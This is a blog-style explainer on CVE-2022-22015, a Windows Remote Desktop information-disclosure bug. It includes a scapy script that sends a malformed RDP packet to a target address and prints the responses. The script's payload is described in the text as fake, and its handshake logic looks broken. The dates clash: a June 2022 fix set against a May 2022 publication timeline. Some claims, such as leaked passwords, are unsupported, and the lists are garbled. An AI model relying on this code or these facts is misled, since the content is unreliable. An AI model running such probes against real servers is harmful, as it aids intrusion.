Windows Remote Desktop Protocol (RDP) is loved by admins and hackers alike. But with great remote power comes great risk, as proven by vulnerabilities like CVE-2022-22015. In this exclusive long-read, we’ll break down how this flaw works, how attackers can exploit it, and what you can do to defend yourself. This guide is written in plain American English and includes code snippets so you can understand the technical details.

What is CVE-2022-22015?

CVE-2022-22015 is a classic case of “oops, that wasn’t supposed to be there.” Found and patched by Microsoft in June 2022, this vulnerability affects the Windows Remote Desktop Service (RDS), specifically how the Remote Desktop Protocol (RDP) handles certain requests. Instead of just saying “no,” Windows sometimes hands over sensitive memory contents to remote attackers. While this bug doesn’t let an attacker take over your system directly, it can give them information that makes other attacks much easier.

Vulnerability Type: Information Disclosure

- Affected Versions: Windows 7, Windows 8.1, Windows 10, Windows 11, Windows Server 2012, 2016, 2019, and 2022 (see Microsoft’s official advisory for details)

How Does the Vulnerability Work?

When a client connects to Windows RDP, there’s a handshake that happens under the hood. CVE-2022-22015 is all about that handshake, specifically in how the server responds to certain malformed requests. If an attacker sends a specially crafted series of packets, the Windows server may respond with extra data from its memory. This data might include session tokens, passwords, or other sensitive info—making it prime bait for hackers.

Step-by-Step: Information Disclosure Attack

While there’s no full Metasploit module for this bug yet (as of my knowledge in June 2024), we can still demonstrate the underlying flaw using scripting and packet crafting tools. Below is a conceptual Python snippet using scapy for illustration. It won’t hand you shell access, but it’ll show you what’s possible.

> NOTE: Only test on systems you own or have permission to test!

from scapy.all import *

# Target Windows RDP server (change this!)
target_ip = "192.168.1.10"
rdp_port = 3389

# Craft a minimal RDP connection initiation with a purposely malformed packet
ip = IP(dst=target_ip)
tcp = TCP(sport=RandShort(), dport=rdp_port, flags='S')
synack = sr1(ip/tcp, timeout=2)

# Complete the handshake
tcp = TCP(sport=tcp.sport, dport=rdp_port, seq=synack.ack, ack=synack.seq+1, flags='A')
send(ip/tcp)

# Send a malformed packet (fake, illustrative data below)
malformed_rdp_packet = bytes.fromhex("030000131ee000000002000c00100001000800010001")
send(ip/tcp/malformed_rdp_packet)

# Sniff for any information leaked in the response
packets = sniff(filter=f"tcp and host {target_ip} and port {rdp_port}", count=10, timeout=5)
for pkt in packets:
    if pkt.haslayer(Raw):
        print(pkt[Raw].load)

This code sends a malformed “Connect-Initial” sequence to the target RDP service, then reads the responses. If the server is vulnerable, some of the sniffed responses may contain garbage memory. In a real attack, this memory could contain secrets.

What Can Attackers Get?

- Session cookies/tokens

Other confidential process info

Attackers usually combine this with other bugs for full compromise. Think of it as an “information leak” box in the attacker’s toolkit.

Real-World Impact

If you run RDP—even just internally—you’re a target. Attackers may scan your open 3389/TCP port, try this trick, and then combine whatever they get with phishing, password attacks, or lateral movement inside your network.

Initial Access Tool: Attackers use this in the early stage to peek around.

- Ransomware: Many groups like Conti/Lockbit use RDP flaws to escalate privileges.
- Persistence: Once in, attackers might use dumped tokens or passwords from leaked memory to come back later.

How to Protect Yourself

- Patch Immediately: Microsoft fixed this in the June 2022 Patch Tuesday. See this advisory for links and details.

References

- Microsoft Security Advisory
- NVD Description
- Microsoft Patch Notes (June 2022)
- RDP Protocol Documentation
- Scapy Documentation

Wrapping Up

CVE-2022-22015 is a great example of why RDP should be handled with care. In the wrong hands, even “just an info leak” can become a serious threat. Always keep your servers patched, limit remote access, and monitor for signs of probing. If you’re curious, try running the example code on a lab setup—seeing is believing!

Stay safe, and always patch!

Feel free to share this post with your sysadmin friends or your security team. If you have more questions about RDP security, just ask in the comments below!

Timeline

Published on: 05/10/2022 21:15:00 UTC
Last modified on: 05/18/2022 19:20:00 UTC